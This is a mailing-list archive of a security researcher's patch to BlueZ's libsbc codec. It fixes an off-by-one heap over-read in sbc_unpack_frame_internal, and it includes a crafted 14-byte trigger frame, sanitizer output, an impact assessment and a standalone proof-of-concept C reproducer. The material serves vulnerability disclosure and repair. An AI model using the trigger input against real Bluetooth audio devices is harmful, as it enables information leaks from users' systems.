* [PATCH sbc] sbc: fix 1-byte heap-OOB read in sbc_unpack_frame_internal
[not found] <1660735014.5089519.1785359719739.ref@mail.yahoo.com>
@ 2026-07-29 21:15 ` Oğuzhan Akkaya
0 siblings, 0 replies; only message in thread
From: Oğuzhan Akkaya @ 2026-07-29 21:15 UTC (permalink / raw)
To: linux-bluetooth@vger.kernel.org; +Cc: luiz.dentz@gmail.com, marcel@holtmann.org
[-- Attachment #1.1: Type: text/plain, Size: 2700 bytes --]
Hi BlueZ maintainers,
While fuzzing libsbc with a libFuzzer + ASan harness exercising thepublic sbc_decode() entry point, I found a 1-byte heap-buffer-overflowREAD in sbc_unpack_frame_internal() at sbc/sbc.c:489. The off-by-one isin the bound check at line 486:
for (bit = 0; bit < bits[ch][sb]; bit++) { if (consumed > len * 8) <-- should be `>=` return -1;
if ((data[consumed >> 3] >> (7 - (consumed & 0x7))) & 0x01) audio_sample |= 1 << (bits[ch][sb] - bit - 1);
consumed++; }
When `consumed == len * 8` the guard does not fire and the next linereads `data[len]`, one byte past the input buffer.
The bug has been live since commit feb1bd57 (2011-10-19) — surviving theadjacent hardening in b3ae4260 ("sbc: Fix stack overflow read insbc_crc8.", 2018) which fixed a similar pattern in the CRC helper.
Reproducer:
- Standalone PoC (compiles against system libsbc, ASan-enabled): attached as poc_standalone.c- A 14-byte input is enough to reach the off-by-one: 9c bd b0 36 7d f2 f2 f2 f2 f2 f2 f2 f2 f2
The proposed fix is a single-character change (`>` → `>=`); patchattached as 0001-sbc-fix-1-byte-heap-OOB-read-in-sbc_unpack_frame_int.patch.
Verified on git HEAD b3deb8a ("Release 2.2"). After the patch the sameinput is rejected cleanly by sbc_decode() (returns -1).
Impact assessment:
- Reachable via any A2DP audio frame (the SBC codec is mandatory for A2DP); also reachable via libsbc users such as PulseAudio/PipeWire BT modules, GStreamer's sbcparse/sbcdec, ofono, and most embedded BT audio gateways that link libsbc.- Primitive is a 1-byte out-of-bounds READ; in a long-lived audio pipeline the chunk neighborhood is attacker-shapeable across frames, so the strongest immediate use is a probabilistic info-leak / heap layout oracle. CVSSv3.1 (proposed): AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (4.3 Medium)- AOSP/Android does NOT ship libsbc — Android's BT stack uses the OI Codec at bluedroid/embdrv/sbc/, which is a structurally different implementation and not affected by this exact bug.
This issue has been assigned CVE-2026-16473 (via Red Hat SecurityResponse Team). Public references:
- https://access.redhat.com/security/cve/CVE-2026-16473 - https://bugzilla.redhat.com/show_bug.cgi?id=2503650
I am including the id here for the commit record; please reference itwhen the fix is merged.
Thanks,
---Attachments:
- 0001-sbc-fix-1-byte-heap-OOB-read-in-sbc_unpack_frame_int.patch- poc_standalone.c
Oguzhan Akkaya
Security Engineer
Per.Mail: oakkaya@ymail.com
LinkedIn | Twitter | Reddit | Github | Researchgate |
[-- Attachment #1.2: Type: text/html, Size: 5530 bytes --]
[-- Attachment #2: 0001-sbc-fix-1-byte-heap-OOB-read-in-sbc_unpack_frame_int.patch --]
[-- Type: application/octet-stream, Size: 3358 bytes --]
From f4a2bc64faee408f925ae7800fc18a9213e1cc77 Mon Sep 17 00:00:00 2001
From: Oğuzhan Akkaya <oakkaya@ymail.com>
Date: Wed, 29 Jul 2026 16:27:03 -0400
Subject: [PATCH sbc] sbc: fix 1-byte heap-OOB read in sbc_unpack_frame_internal
To: linux-bluetooth@vger.kernel.org
Cc: Luiz Augusto von Dentz <luiz.dentz@gmail.com>
Cc: marcel@holtmann.org
The per-sample bit-reader at sbc.c:485-493 has an off-by-one bound check
that allows the buffer-end to be reached and one byte to be read past
the attacker-controlled SBC frame buffer.
When the cumulative `consumed` bit-position reaches len*8 exactly, the
guard `if (consumed > len * 8)` does not fire, and the next statement
indexes `data[consumed >> 3]` == `data[len]`, one byte past the
end of the input buffer. AddressSanitizer reports:
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
#0 sbc_unpack_frame_internal sbc.c:489
#1 sbc_decode sbc.c:1225
The bug has been present since commit feb1bd57 (2011-10-19, 'sbc:
Reduce for-loop induced indentation in sbc_unpack_frame'). It was
not addressed by the adjacent hardening in b3ae4260 ('sbc: Fix stack
overflow read in sbc_crc8.', 2018) which fixed a similar 1-byte
over-read in sbc_crc8.
The fix changes the comparison to `>=` so that the guard fires when
`consumed` would reach the byte beyond the buffer.
CVE: CVE-2026-16473
Signed-off-by: Oğuzhan Akkaya <oakkaya@ymail.com>
---
Found via a libFuzzer + AddressSanitizer harness around the public
sbc_decode() entry point.
How to trigger — a 14-byte frame is enough to reach the off-by-one:
9c bd b0 36 7d f2 f2 f2 f2 f2 f2 f2 f2 f2
On an ASan build, sbc_decode() on this input reports:
ERROR: AddressSanitizer: heap-buffer-overflow READ of size 1
#0 sbc_unpack_frame_internal sbc.c:489
#1 sbc_decode sbc.c:1225
After the patch the same input is rejected cleanly (sbc_decode returns -1).
Verified on git HEAD b3deb8a ("Release 2.2").
Impact: reachable via any A2DP audio frame (SBC is mandatory for A2DP) and
via libsbc users such as PulseAudio/PipeWire BT modules, GStreamer
sbcparse/sbcdec, and embedded BT audio gateways. The primitive is a 1-byte
out-of-bounds READ; in a long-lived audio pipeline the neighbouring heap is
attacker-shapeable across frames, so the strongest immediate use is a
probabilistic info-leak / heap-layout oracle.
CVSSv3.1 (proposed): AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N (4.3 Medium).
Note: AOSP/Android does not ship libsbc — Android's BT stack uses the OI
codec at bluedroid/embdrv/sbc/, a structurally different implementation not
affected by this bug.
Assigned CVE-2026-16473 (via the Red Hat Security Response Team):
https://access.redhat.com/security/cve/CVE-2026-16473
https://bugzilla.redhat.com/show_bug.cgi?id=2503650
A standalone ~60-line ASan reproducer (poc_standalone.c) is available on
request.
sbc/sbc.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/sbc/sbc.c b/sbc/sbc.c
index 2fab366..ffe281a 100644
--- a/sbc/sbc.c
+++ b/sbc/sbc.c
@@ -483,7 +483,7 @@ static int sbc_unpack_frame_internal(const uint8_t *data,
audio_sample = 0;
for (bit = 0; bit < bits[ch][sb]; bit++) {
- if (consumed > len * 8)
+ if (consumed >= len * 8)
return -1;
if ((data[consumed >> 3] >> (7 - (consumed & 0x7))) & 0x01)
--
2.53.0
[-- Attachment #3: poc_standalone.c --]
[-- Type: application/octet-stream, Size: 2077 bytes --]
/*
* libsbc (BlueZ SBC codec) — heap-buffer-overflow READ in sbc_unpack_frame_internal
* Standalone reproducer.
*
* Build (Debian/Ubuntu/Fedora — needs libsbc-dev / sbc-devel):
* gcc -O0 -g -fsanitize=address poc_standalone.c -lsbc -o poc
*
* Or against a freshly built upstream tree:
* gcc -O0 -g -fsanitize=address \
* -I/path/to/sbc/sbc poc_standalone.c \
* /path/to/sbc/sbc/.libs/libsbc.a -lm -o poc
*
* Run:
* ./poc
*
* Expected on a vulnerable build (libsbc <= 2.2 / git HEAD b3deb8a as of
* 2026-05-02): AddressSanitizer prints
* "ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 1 ...
* in sbc_unpack_frame_internal sbc.c:489"
*
* Expected on a patched build: clean exit (sbc_decode returns -1).
*/
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sbc/sbc.h>
/* 14-byte trigger — first byte 0x9C is the SBC sync word; the remainder is
* crafted so that the per-sample bit-reader's `consumed` counter reaches
* exactly len*8 on the final iteration, and the off-by-one bound check at
* sbc.c:486 (`consumed > len * 8`) lets the next read fall one byte past
* the input buffer end. */
static const unsigned char TRIGGER[14] = {
0x9c, 0xbd, 0xb0, 0x36, 0x7d, 0xf2, 0xf2, 0xf2,
0xf2, 0xf2, 0xf2, 0xf2, 0xf2, 0xf2,
};
int main(void) {
sbc_t sbc;
if (sbc_init(&sbc, 0L) < 0) {
fprintf(stderr, "sbc_init failed\n");
return 1;
}
/* Use a heap allocation so AddressSanitizer's redzone immediately follows
* the buffer end — that is what makes the 1-byte over-read visible. */
unsigned char *in = (unsigned char *)malloc(sizeof TRIGGER);
if (!in) { sbc_finish(&sbc); return 1; }
memcpy(in, TRIGGER, sizeof TRIGGER);
unsigned char out[4096];
size_t written = 0;
ssize_t r = sbc_decode(&sbc, in, sizeof TRIGGER, out, sizeof out, &written);
fprintf(stderr, "sbc_decode returned %zd, written=%zu\n", r, written);
free(in);
sbc_finish(&sbc);
return 0;
}
^ permalink raw reply related [flat|nested] only message in thread